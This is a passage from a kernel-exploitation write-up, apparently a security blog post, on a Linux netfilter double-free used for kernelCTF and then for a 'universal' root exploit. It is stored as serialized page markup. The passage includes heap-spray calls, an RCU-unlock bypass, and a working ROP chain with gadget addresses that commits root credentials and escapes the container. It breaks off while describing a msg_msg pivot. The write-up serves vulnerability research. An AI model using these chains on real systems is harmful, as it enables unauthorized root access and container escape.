ptr table\n",{"type":23,"tag":314,"props":55684,"children":55685},{"class":316,"line":1548},[55686],{"type":23,"tag":314,"props":55687,"children":55688},{"style":1245},[55689],{"type":28,"value":9566},{"type":23,"tag":314,"props":55691,"children":55692},{"class":316,"line":1584},[55693],{"type":23,"tag":314,"props":55694,"children":55695},{"style":1245},[55696],{"type":28,"value":55697}," // Write ROP\n",{"type":23,"tag":314,"props":55699,"children":55700},{"class":316,"line":1617},[55701,55706,55710,55714,55718,55723,55728],{"type":23,"tag":314,"props":55702,"children":55703},{"style":1245},[55704],{"type":28,"value":55705}," puts(\"",{"type":23,"tag":314,"props":55707,"children":55708},{"style":338},[55709],{"type":28,"value":1312},{"type":23,"tag":314,"props":55711,"children":55712},{"style":354},[55713],{"type":28,"value":256},{"type":23,"tag":314,"props":55715,"children":55716},{"style":338},[55717],{"type":28,"value":1322},{"type":23,"tag":314,"props":55719,"children":55720},{"style":2674},[55721],{"type":28,"value":55722},"Write",{"type":23,"tag":314,"props":55724,"children":55725},{"style":2674},[55726],{"type":28,"value":55727}," ROP",{"type":23,"tag":314,"props":55729,"children":55730},{"style":1245},[55731],{"type":28,"value":55542},{"type":23,"tag":314,"props":55733,"children":55734},{"class":316,"line":1625},[55735],{"type":23,"tag":314,"props":55736,"children":55737},{"style":1245},[55738],{"type":28,"value":55739}," deludata_spray(nl, 3, 1);\n",{"type":23,"tag":314,"props":55741,"children":55742},{"class":316,"line":1660},[55743],{"type":23,"tag":314,"props":55744,"children":55745},{"style":1245},[55746],{"type":28,"value":55550},{"type":23,"tag":314,"props":55748,"children":55749},{"class":316,"line":1708},[55750],{"type":23,"tag":314,"props":55751,"children":55752},{"style":1245},[55753],{"type":28,"value":55754}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":314,"props":55756,"children":55757},{"class":316,"line":1743},[55758],{"type":23,"tag":314,"props":55759,"children":55760},{"emptyLinePlaceholder":18},[55761],{"type":28,"value":1088},{"type":23,"tag":314,"props":55763,"children":55764},{"class":316,"line":1751},[55765],{"type":23,"tag":314,"props":55766,"children":55767},{"style":1245},[55768],{"type":28,"value":55769}," // Takeover RIP\n",{"type":23,"tag":314,"props":55771,"children":55772},{"class":316,"line":1791},[55773,55777,55781,55785,55789,55794,55799],{"type":23,"tag":314,"props":55774,"children":55775},{"style":1245},[55776],{"type":28,"value":55705},{"type":23,"tag":314,"props":55778,"children":55779},{"style":338},[55780],{"type":28,"value":1312},{"type":23,"tag":314,"props":55782,"children":55783},{"style":354},[55784],{"type":28,"value":256},{"type":23,"tag":314,"props":55786,"children":55787},{"style":338},[55788],{"type":28,"value":1322},{"type":23,"tag":314,"props":55790,"children":55791},{"style":2674},[55792],{"type":28,"value":55793},"Takeover",{"type":23,"tag":314,"props":55795,"children":55796},{"style":2674},[55797],{"type":28,"value":55798}," RIP",{"type":23,"tag":314,"props":55800,"children":55801},{"style":1245},[55802],{"type":28,"value":55542},{"type":23,"tag":314,"props":55804,"children":55805},{"class":316,"line":1805},[55806,55811,55815,55820],{"type":23,"tag":314,"props":55807,"children":55808},{"style":1245},[55809],{"type":28,"value":55810}," dump_obj(nl, \"",{"type":23,"tag":314,"props":55812,"children":55813},{"style":321},[55814],{"type":28,"value":55532},{"type":23,"tag":314,"props":55816,"children":55817},{"style":338},[55818],{"type":28,"value":55819},"-1",{"type":23,"tag":314,"props":55821,"children":55822},{"style":1245},[55823],{"type":28,"value":55542},{"type":23,"tag":314,"props":55825,"children":55826},{"class":316,"line":1818},[55827],{"type":23,"tag":314,"props":55828,"children":55829},{"style":1245},[55830],{"type":28,"value":9566},{"type":23,"tag":837,"props":55832,"children":55834},{"id":55833},"bypass-context-switch-in-rcu-critical-section",[55835],{"type":28,"value":55836},"Bypass context switch in RCU critical-section",{"type":23,"tag":24,"props":55838,"children":55839},{},[55840,55841,55846],{"type":28,"value":92},{"type":23,"tag":94,"props":55842,"children":55844},{"className":55843},[],[55845],{"type":28,"value":54365},{"type":28,"value":55847}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":24,"props":55849,"children":55850},{},[55851,55853,55860,55862,55868,55870,55876],{"type":28,"value":55852},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":31,"props":55854,"children":55857},{"href":55855,"rel":55856},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[35],[55858],{"type":28,"value":55859},"previous kernelCTF submission",{"type":28,"value":55861}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":94,"props":55863,"children":55865},{"className":55864},[],[55866],{"type":28,"value":55867},"task_struct",{"type":28,"value":55869}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":94,"props":55871,"children":55873},{"className":55872},[],[55874],{"type":28,"value":55875},"__rcu_read_unlock()",{"type":28,"value":55877}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":304,"props":55879,"children":55881},{"className":28358,"code":55880,"language":28360,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[55882],{"type":23,"tag":94,"props":55883,"children":55884},{"__ignoreMap":7},[55885,55893,55917,55924],{"type":23,"tag":314,"props":55886,"children":55887},{"class":316,"line":317},[55888],{"type":23,"tag":314,"props":55889,"children":55890},{"style":374},[55891],{"type":28,"value":55892}," // ROP stage 1\n",{"type":23,"tag":314,"props":55894,"children":55895},{"class":316,"line":370},[55896,55900,55905,55909,55913],{"type":23,"tag":314,"props":55897,"children":55898},{"style":321},[55899],{"type":28,"value":18315},{"type":23,"tag":314,"props":55901,"children":55902},{"style":338},[55903],{"type":28,"value":55904}," pos ",{"type":23,"tag":314,"props":55906,"children":55907},{"style":354},[55908],{"type":28,"value":1102},{"type":23,"tag":314,"props":55910,"children":55911},{"style":1054},[55912],{"type":28,"value":18337},{"type":23,"tag":314,"props":55914,"children":55915},{"style":338},[55916],{"type":28,"value":2278},{"type":23,"tag":314,"props":55918,"children":55919},{"class":316,"line":380},[55920],{"type":23,"tag":314,"props":55921,"children":55922},{"emptyLinePlaceholder":18},[55923],{"type":28,"value":1088},{"type":23,"tag":314,"props":55925,"children":55926},{"class":316,"line":1091},[55927,55931,55936,55940,55944,55948,55952,55956],{"type":23,"tag":314,"props":55928,"children":55929},{"style":360},[55930],{"type":28,"value":55420},{"type":23,"tag":314,"props":55932,"children":55933},{"style":338},[55934],{"type":28,"value":55935},"[pos",{"type":23,"tag":314,"props":55937,"children":55938},{"style":354},[55939],{"type":28,"value":50520},{"type":23,"tag":314,"props":55941,"children":55942},{"style":338},[55943],{"type":28,"value":1322},{"type":23,"tag":314,"props":55945,"children":55946},{"style":354},[55947],{"type":28,"value":1102},{"type":23,"tag":314,"props":55949,"children":55950},{"style":338},[55951],{"type":28,"value":55441},{"type":23,"tag":314,"props":55953,"children":55954},{"style":354},[55955],{"type":28,"value":1130},{"type":23,"tag":314,"props":55957,"children":55958},{"style":338},[55959],{"type":28,"value":55960}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":837,"props":55962,"children":55964},{"id":55963},"rop",[55965],{"type":28,"value":55620},{"type":23,"tag":24,"props":55967,"children":55968},{},[55969],{"type":28,"value":55970},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":127,"props":55972,"children":55973},{},[55974,55985,55996],{"type":23,"tag":88,"props":55975,"children":55976},{},[55977,55983],{"type":23,"tag":94,"props":55978,"children":55980},{"className":55979},[],[55981],{"type":28,"value":55982},"commit_creds(&init_cred);",{"type":28,"value":55984}," Commit root credentials to our process",{"type":23,"tag":88,"props":55986,"children":55987},{},[55988,55994],{"type":23,"tag":94,"props":55989,"children":55991},{"className":55990},[],[55992],{"type":28,"value":55993},"task = find_task_by_vpid(1);",{"type":28,"value":55995}," Find the root process of our namespace",{"type":23,"tag":88,"props":55997,"children":55998},{},[55999,56005],{"type":23,"tag":94,"props":56000,"children":56002},{"className":56001},[],[56003],{"type":28,"value":56004},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":56006}," Move it to the root namespace",{"type":23,"tag":24,"props":56008,"children":56009},{},[56010,56012,56018,56020,56026,56028,56034,56036,56042,56044,56049,56051,56057],{"type":28,"value":56011},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":94,"props":56013,"children":56015},{"className":56014},[],[56016],{"type":28,"value":56017},"find_task_by_vpid(1)",{"type":28,"value":56019}," passed through ",{"type":23,"tag":94,"props":56021,"children":56023},{"className":56022},[],[56024],{"type":28,"value":56025},"rax",{"type":28,"value":56027}," to ",{"type":23,"tag":94,"props":56029,"children":56031},{"className":56030},[],[56032],{"type":28,"value":56033},"rdi",{"type":28,"value":56035},". What I ended up going with was a ",{"type":23,"tag":94,"props":56037,"children":56039},{"className":56038},[],[56040],{"type":28,"value":56041},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":56043}," gadget, that allowed me to push the ",{"type":23,"tag":94,"props":56045,"children":56047},{"className":56046},[],[56048],{"type":28,"value":56025},{"type":28,"value":56050}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":94,"props":56052,"children":56054},{"className":56053},[],[56055],{"type":28,"value":56056},"pop rdi; ret",{"type":28,"value":56058}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":127,"props":56060,"children":56061},{},[56062,56067,56080],{"type":23,"tag":88,"props":56063,"children":56064},{},[56065],{"type":28,"value":56066},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":88,"props":56068,"children":56069},{},[56070,56072,56078],{"type":28,"value":56071},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":94,"props":56073,"children":56075},{"className":56074},[],[56076],{"type":28,"value":56077},"pop rdi; ret;",{"type":28,"value":56079}," location)",{"type":23,"tag":88,"props":56081,"children":56082},{},[56083,56088],{"type":23,"tag":94,"props":56084,"children":56086},{"className":56085},[],[56087],{"type":28,"value":56056},{"type":28,"value":56089}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":304,"props":56091,"children":56093},{"className":28358,"code":56092,"language":28360,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[56094],{"type":23,"tag":94,"props":56095,"children":56096},{"__ignoreMap":7},[56097,56104,56121,56166,56202,56238,56245,56253,56296,56327,56363,56408,56463,56508,56515,56523,56566,56602,56638],{"type":23,"tag":314,"props":56098,"children":56099},{"class":316,"line":317},[56100],{"type":23,"tag":314,"props":56101,"children":56102},{"style":338},[56103],{"type":28,"value":9566},{"type":23,"tag":314,"props":56105,"children":56106},{"class":316,"line":370},[56107,56112,56117],{"type":23,"tag":314,"props":56108,"children":56109},{"style":338},[56110],{"type":28,"value":56111}," // commit_creds(&",{"type":23,"tag":314,"props":56113,"children":56114},{"style":360},[56115],{"type":28,"value":56116},"init_cred",{"type":23,"tag":314,"props":56118,"children":56119},{"style":338},[56120],{"type":28,"value":1025},{"type":23,"tag":314,"props":56122,"children":56123},{"class":316,"line":380},[56124,56128,56132,56136,56140,56144,56148,56152,56157,56161],{"type":23,"tag":314,"props":56125,"children":56126},{"style":360},[56127],{"type":28,"value":55420},{"type":23,"tag":314,"props":56129,"children":56130},{"style":338},[56131],{"type":28,"value":55935},{"type":23,"tag":314,"props":56133,"children":56134},{"style":354},[56135],{"type":28,"value":50520},{"type":23,"tag":314,"props":56137,"children":56138},{"style":338},[56139],{"type":28,"value":1322},{"type":23,"tag":314,"props":56141,"children":56142},{"style":354},[56143],{"type":28,"value":1102},{"type":23,"tag":314,"props":56145,"children":56146},{"style":338},[56147],{"type":28,"value":55441},{"type":23,"tag":314,"props":56149,"children":56150},{"style":354},[56151],{"type":28,"value":1130},{"type":23,"tag":314,"props":56153,"children":56154},{"style":1054},[56155],{"type":28,"value":56156}," 0xffffffff8112c7c0",{"type":23,"tag":314,"props":56158,"children":56159},{"style":338},[56160],{"type":28,"value":48324},{"type":23,"tag":314,"props":56162,"children":56163},{"style":374},[56164],{"type":28,"value":56165}," // pop rdi; ret;\n",{"type":23,"tag":314,"props":56167,"children":56168},{"class":316,"line":1091},[56169,56173,56177,56181,56185,56189,56193,56197],{"type":23,"tag":314,"props":56170,"children":56171},{"style":360},[56172],{"type":28,"value":55420},{"type":23,"tag":314,"props":56174,"children":56175},{"style":338},[56176],{"type":28,"value":55935},{"type":23,"tag":314,"props":56178,"children":56179},{"style":354},[56180],{"type":28,"value":50520},{"type":23,"tag":314,"props":56182,"children":56183},{"style":338},[56184],{"type":28,"value":1322},{"type":23,"tag":314,"props":56186,"children":56187},{"style":354},[56188],{"type":28,"value":1102},{"type":23,"tag":314,"props":56190,"children":56191},{"style":338},[56192],{"type":28,"value":55441},{"type":23,"tag":314,"props":56194,"children":56195},{"style":354},[56196],{"type":28,"value":1130},{"type":23,"tag":314,"props":56198,"children":56199},{"style":338},[56200],{"type":28,"value":56201}," INIT_CRED;\n",{"type":23,"tag":314,"props":56203,"children":56204},{"class":316,"line":1141},[56205,56209,56213,56217,56221,56225,56229,56233],{"type":23,"tag":314,"props":56206,"children":56207},{"style":360},[56208],{"type":28,"value":55420},{"type":23,"tag":314,"props":56210,"children":56211},{"style":338},[56212],{"type":28,"value":55935},{"type":23,"tag":314,"props":56214,"children":56215},{"style":354},[56216],{"type":28,"value":50520},{"type":23,"tag":314,"props":56218,"children":56219},{"style":338},[56220],{"type":28,"value":1322},{"type":23,"tag":314,"props":56222,"children":56223},{"style":354},[56224],{"type":28,"value":1102},{"type":23,"tag":314,"props":56226,"children":56227},{"style":338},[56228],{"type":28,"value":55441},{"type":23,"tag":314,"props":56230,"children":56231},{"style":354},[56232],{"type":28,"value":1130},{"type":23,"tag":314,"props":56234,"children":56235},{"style":338},[56236],{"type":28,"value":56237}," COMMIT_CREDS;\n",{"type":23,"tag":314,"props":56239,"children":56240},{"class":316,"line":1173},[56241],{"type":23,"tag":314,"props":56242,"children":56243},{"emptyLinePlaceholder":18},[56244],{"type":28,"value":1088},{"type":23,"tag":314,"props":56246,"children":56247},{"class":316,"line":1208},[56248],{"type":23,"tag":314,"props":56249,"children":56250},{"style":374},[56251],{"type":28,"value":56252}," // task = find_task_by_vpid(1);\n",{"type":23,"tag":314,"props":56254,"children":56255},{"class":316,"line":1216},[56256,56260,56264,56268,56272,56276,56280,56284,56288,56292],{"type":23,"tag":314,"props":56257,"children":56258},{"style":360},[56259],{"type":28,"value":55420},{"type":23,"tag":314,"props":56261,"children":56262},{"style":338},[56263],{"type":28,"value":55935},{"type":23,"tag":314,"props":56265,"children":56266},{"style":354},[56267],{"type":28,"value":50520},{"type":23,"tag":314,"props":56269,"children":56270},{"style":338},[56271],{"type":28,"value":1322},{"type":23,"tag":314,"props":56273,"children":56274},{"style":354},[56275],{"type":28,"value":1102},{"type":23,"tag":314,"props":56277,"children":56278},{"style":338},[56279],{"type":28,"value":55441},{"type":23,"tag":314,"props":56281,"children":56282},{"style":354},[56283],{"type":28,"value":1130},{"type":23,"tag":314,"props":56285,"children":56286},{"style":1054},[56287],{"type":28,"value":56156},{"type":23,"tag":314,"props":56289,"children":56290},{"style":338},[56291],{"type":28,"value":48324},{"type":23,"tag":314,"props":56293,"children":56294},{"style":374},[56295],{"type":28,"value":56165},{"type":23,"tag":314,"props":56297,"children":56298},{"class":316,"line":1301},[56299,56303,56307,56311,56315,56319,56323],{"type":23,"tag":314,"props":56300,"children":56301},{"style":360},[56302],{"type":28,"value":55420},{"type":23,"tag":314,"props":56304,"children":56305},{"style":338},[56306],{"type":28,"value":55935},{"type":23,"tag":314,"props":56308,"children":56309},{"style":354},[56310],{"type":28,"value":50520},{"type":23,"tag":314,"props":56312,"children":56313},{"style":338},[56314],{"type":28,"value":1322},{"type":23,"tag":314,"props":56316,"children":56317},{"style":354},[56318],{"type":28,"value":1102},{"type":23,"tag":314,"props":56320,"children":56321},{"style":1054},[56322],{"type":28,"value":3778},{"type":23,"tag":314,"props":56324,"children":56325},{"style":338},[56326],{"type":28,"value":2278},{"type":23,"tag":314,"props":56328,"children":56329},{"class":316,"line":1343},[56330,56334,56338,56342,56346,56350,56354,56358],{"type":23,"tag":314,"props":56331,"children":56332},{"style":360},[56333],{"type":28,"value":55420},{"type":23,"tag":314,"props":56335,"children":56336},{"style":338},[56337],{"type":28,"value":55935},{"type":23,"tag":314,"props":56339,"children":56340},{"style":354},[56341],{"type":28,"value":50520},{"type":23,"tag":314,"props":56343,"children":56344},{"style":338},[56345],{"type":28,"value":1322},{"type":23,"tag":314,"props":56347,"children":56348},{"style":354},[56349],{"type":28,"value":1102},{"type":23,"tag":314,"props":56351,"children":56352},{"style":338},[56353],{"type":28,"value":55441},{"type":23,"tag":314,"props":56355,"children":56356},{"style":354},[56357],{"type":28,"value":1130},{"type":23,"tag":314,"props":56359,"children":56360},{"style":338},[56361],{"type":28,"value":56362}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":314,"props":56364,"children":56365},{"class":316,"line":1351},[56366,56370,56374,56378,56382,56386,56390,56394,56399,56403],{"type":23,"tag":314,"props":56367,"children":56368},{"style":360},[56369],{"type":28,"value":55420},{"type":23,"tag":314,"props":56371,"children":56372},{"style":338},[56373],{"type":28,"value":55935},{"type":23,"tag":314,"props":56375,"children":56376},{"style":354},[56377],{"type":28,"value":50520},{"type":23,"tag":314,"props":56379,"children":56380},{"style":338},[56381],{"type":28,"value":1322},{"type":23,"tag":314,"props":56383,"children":56384},{"style":354},[56385],{"type":28,"value":1102},{"type":23,"tag":314,"props":56387,"children":56388},{"style":338},[56389],{"type":28,"value":55441},{"type":23,"tag":314,"props":56391,"children":56392},{"style":354},[56393],{"type":28,"value":1130},{"type":23,"tag":314,"props":56395,"children":56396},{"style":1054},[56397],{"type":28,"value":56398}," 0xffffffff8102e2a6",{"type":23,"tag":314,"props":56400,"children":56401},{"style":338},[56402],{"type":28,"value":48324},{"type":23,"tag":314,"props":56404,"children":56405},{"style":374},[56406],{"type":28,"value":56407}," // pop rsi; ret;\n",{"type":23,"tag":314,"props":56409,"children":56410},{"class":316,"line":1387},[56411,56415,56419,56423,56427,56431,56436,56440,56445,56449,56454,56458],{"type":23,"tag":314,"props":56412,"children":56413},{"style":360},[56414],{"type":28,"value":55420},{"type":23,"tag":314,"props":56416,"children":56417},{"style":338},[56418],{"type":28,"value":55935},{"type":23,"tag":314,"props":56420,"children":56421},{"style":354},[56422],{"type":28,"value":50520},{"type":23,"tag":314,"props":56424,"children":56425},{"style":338},[56426],{"type":28,"value":1322},{"type":23,"tag":314,"props":56428,"children":56429},{"style":354},[56430],{"type":28,"value":1102},{"type":23,"tag":314,"props":56432,"children":56433},{"style":338},[56434],{"type":28,"value":56435}," obj_ptr ",{"type":23,"tag":314,"props":56437,"children":56438},{"style":354},[56439],{"type":28,"value":1130},{"type":23,"tag":314,"props":56441,"children":56442},{"style":1054},[56443],{"type":28,"value":56444}," 0xe0",{"type":23,"tag":314,"props":56446,"children":56447},{"style":354},[56448],{"type":28,"value":50506},{"type":23,"tag":314,"props":56450,"children":56451},{"style":1054},[56452],{"type":28,"value":56453}," 0x66",{"type":23,"tag":314,"props":56455,"children":56456},{"style":338},[56457],{"type":28,"value":48324},{"type":23,"tag":314,"props":56459,"children":56460},{"style":374},[56461],{"type":28,"value":56462}," // rax -> rdi and resume rop\n",{"type":23,"tag":314,"props":56464,"children":56465},{"class":316,"line":1422},[56466,56470,56474,56478,56482,56486,56490,56494,56499,56503],{"type":23,"tag":314,"props":56467,"children":56468},{"style":360},[56469],{"type":28,"value":55420},{"type":23,"tag":314,"props":56471,"children":56472},{"style":338},[56473],{"type":28,"value":55935},{"type":23,"tag":314,"props":56475,"children":56476},{"style":354},[56477],{"type":28,"value":50520},{"type":23,"tag":314,"props":56479,"children":56480},{"style":338},[56481],{"type":28,"value":1322},{"type":23,"tag":314,"props":56483,"children":56484},{"style":354},[56485],{"type":28,"value":1102},{"type":23,"tag":314,"props":56487,"children":56488},{"style":338},[56489],{"type":28,"value":55441},{"type":23,"tag":314,"props":56491,"children":56492},{"style":354},[56493],{"type":28,"value":1130},{"type":23,"tag":314,"props":56495,"children":56496},{"style":1054},[56497],{"type":28,"value":56498}," 0xffffffff81caed31",{"type":23,"tag":314,"props":56500,"children":56501},{"style":338},[56502],{"type":28,"value":48324},{"type":23,"tag":314,"props":56504,"children":56505},{"style":374},[56506],{"type":28,"value":56507}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":314,"props":56509,"children":56510},{"class":316,"line":1430},[56511],{"type":23,"tag":314,"props":56512,"children":56513},{"emptyLinePlaceholder":18},[56514],{"type":28,"value":1088},{"type":23,"tag":314,"props":56516,"children":56517},{"class":316,"line":1452},[56518],{"type":23,"tag":314,"props":56519,"children":56520},{"style":374},[56521],{"type":28,"value":56522}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":314,"props":56524,"children":56525},{"class":316,"line":1497},[56526,56530,56534,56538,56542,56546,56550,56554,56558,56562],{"type":23,"tag":314,"props":56527,"children":56528},{"style":360},[56529],{"type":28,"value":55420},{"type":23,"tag":314,"props":56531,"children":56532},{"style":338},[56533],{"type":28,"value":55935},{"type":23,"tag":314,"props":56535,"children":56536},{"style":354},[56537],{"type":28,"value":50520},{"type":23,"tag":314,"props":56539,"children":56540},{"style":338},[56541],{"type":28,"value":1322},{"type":23,"tag":314,"props":56543,"children":56544},{"style":354},[56545],{"type":28,"value":1102},{"type":23,"tag":314,"props":56547,"children":56548},{"style":338},[56549],{"type":28,"value":55441},{"type":23,"tag":314,"props":56551,"children":56552},{"style":354},[56553],{"type":28,"value":1130},{"type":23,"tag":314,"props":56555,"children":56556},{"style":1054},[56557],{"type":28,"value":56398},{"type":23,"tag":314,"props":56559,"children":56560},{"style":338},[56561],{"type":28,"value":48324},{"type":23,"tag":314,"props":56563,"children":56564},{"style":374},[56565],{"type":28,"value":56407},{"type":23,"tag":314,"props":56567,"children":56568},{"class":316,"line":1539},[56569,56573,56577,56581,56585,56589,56593,56597],{"type":23,"tag":314,"props":56570,"children":56571},{"style":360},[56572],{"type":28,"value":55420},{"type":23,"tag":314,"props":56574,"children":56575},{"style":338},[56576],{"type":28,"value":55935},{"type":23,"tag":314,"props":56578,"children":56579},{"style":354},[56580],{"type":28,"value":50520},{"type":23,"tag":314,"props":56582,"children":56583},{"style":338},[56584],{"type":28,"value":1322},{"type":23,"tag":314,"props":56586,"children":56587},{"style":354},[56588],{"type":28,"value":1102},{"type":23,"tag":314,"props":56590,"children":56591},{"style":338},[56592],{"type":28,"value":55441},{"type":23,"tag":314,"props":56594,"children":56595},{"style":354},[56596],{"type":28,"value":1130},{"type":23,"tag":314,"props":56598,"children":56599},{"style":338},[56600],{"type":28,"value":56601}," INIT_NSPROXY;\n",{"type":23,"tag":314,"props":56603,"children":56604},{"class":316,"line":1548},[56605,56609,56613,56617,56621,56625,56629,56633],{"type":23,"tag":314,"props":56606,"children":56607},{"style":360},[56608],{"type":28,"value":55420},{"type":23,"tag":314,"props":56610,"children":56611},{"style":338},[56612],{"type":28,"value":55935},{"type":23,"tag":314,"props":56614,"children":56615},{"style":354},[56616],{"type":28,"value":50520},{"type":23,"tag":314,"props":56618,"children":56619},{"style":338},[56620],{"type":28,"value":1322},{"type":23,"tag":314,"props":56622,"children":56623},{"style":354},[56624],{"type":28,"value":1102},{"type":23,"tag":314,"props":56626,"children":56627},{"style":338},[56628],{"type":28,"value":55441},{"type":23,"tag":314,"props":56630,"children":56631},{"style":354},[56632],{"type":28,"value":1130},{"type":23,"tag":314,"props":56634,"children":56635},{"style":338},[56636],{"type":28,"value":56637}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":314,"props":56639,"children":56640},{"class":316,"line":1584},[56641],{"type":23,"tag":314,"props":56642,"children":56643},{"style":338},[56644],{"type":28,"value":9566},{"type":23,"tag":837,"props":56646,"children":56648},{"id":56647},"grabbing-the-kernelctf-flag",[56649],{"type":28,"value":56650},"Grabbing the kernelCTF flag",{"type":23,"tag":24,"props":56652,"children":56653},{},[56654,56658,56660,56667],{"type":23,"tag":197,"props":56655,"children":56657},{"alt":49829,"src":56656},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":56659},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":31,"props":56661,"children":56664},{"href":56662,"rel":56663},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[35],[56665],{"type":28,"value":56666},"GitHub",{"type":28,"value":282},{"type":23,"tag":61,"props":56669,"children":56671},{"id":56670},"universal-exploit",[56672],{"type":28,"value":56673},"Universal exploit",{"type":23,"tag":24,"props":56675,"children":56676},{},[56677],{"type":28,"value":56678},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":837,"props":56680,"children":56682},{"id":56681},"pivot-capability-using-msg_msg-mlistnext-pointer",[56683],{"type":28,"value":56684},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":24,"props":56686,"children":56687},{},[56688,56690,56696,56698,56703,56705,56711],{"type":28,"value":56689},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":94,"props":56691,"children":56693},{"className":56692},[],[56694],{"type":28,"value":56695},"msg_msg",{"type":28,"value":56697}," object with with ",{"type":23,"tag":94,"props":56699,"children":56701},{"className":56700},[],[56702],{"type":28,"value":54350},{"type":28,"value":56704}," and control the ",{"type":23,"tag":94,"props":56706,"children":56708},{"className":56707},[],[56709],{"type":28,"value":56710},"m_list.next",{"type":28,"value":56712}," pointer.",{"type":23,"tag":304,"props":56714,"children":56716},{"className":28358,"code":56715,"language":28360,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[56717],{"type":23,"tag":94,"props":56718,"children":56719},{"__ignoreMap":7},[56720,56728,56744,56765,56778,56796,56821,56837,56845,56852,56859,56867,56899],{"type":23,"tag":314,"props":56721,"children":56722},{"class":316,"line":317},[56723],{"type":23,"tag":314,"props":56724,"children":56725},{"style":374},[56726],{"type":28,"value":56727},"/* one msg_msg structure for each message */\n",{"type":23,"tag":314,"props":56729,"children":56730},{"class":316,"line":370},[56731,56735,56740],{"type":23,"tag":314,"props":56732,"children":56733},{"style":321},[56734],{"type":28,"value":8651},{"type":23,"tag":314,"props":56736,"children":56737},{"style":2674},[56738],{"type":28,"value":56739}," msg_msg",{"type":23,"tag":314,"props":56741,"children":56742},{"style":338},[56743],{"type":28,"value":1449},{"type":23,"tag":314,"props":56745,"children":56746},{"class":316,"line":380},[56747,56751,56756,56761],{"type":23,"tag":314,"props":56748,"children":56749},{"style":321},[56750],{"type":28,"value":20388},{"type":23,"tag":314,"props":56752,"children":56753},{"style":2674},[56754],{"type":28,"value":56755}," list_head",{"type":23,"tag":314,"props":56757,"children":56758},{"style":360},[56759],{"type":28,"value":56760}," m_list",{"type":23,"tag":314,"props":56762,"children":56763},{"style":338},[56764],{"type":28,"value":2278},{"type":23,"tag":314,"props":56766,"children":56767},{"class":316,"line":1091},[56768,56773],{"type":23,"tag":314,"props":56769,"children":56770},{"style":321},[56771],{"type":28,"value":56772}," long",{"type":23,"tag":314,"props":56774,"children":56775},{"style":338},[56776],{"type":28,"value":56777}," m_type;\n",{"type":23,"tag":314,"props":56779,"children":56780},{"class":316,"line":1141},[56781,56786,56791],{"type":23,"tag":314,"props":56782,"children":56783},{"style":321},[56784],{"type":28,"value":56785}," size_t",{"type":23,"tag":314,"props":56787,"children":56788},{"style":338},[56789],{"type":28,"value":56790}," m_ts;",{"type":23,"tag":314,"props":56792,"children":56793},{"style":374},[56794],{"type":28,"value":56795}," /* message text size */\n",{"type":23,"tag":314,"props":56797,"children":56798},{"class":316,"line":1173},[56799,56803,56808,56812,56817],{"type":23,"tag":314,"props":56800,"children":56801},{"style":321},[56802],{"type":28,"value":20388},{"type":23,"tag":314,"props":56804,"children":56805},{"style":2674},[56806],{"type":28,"value":56807}," 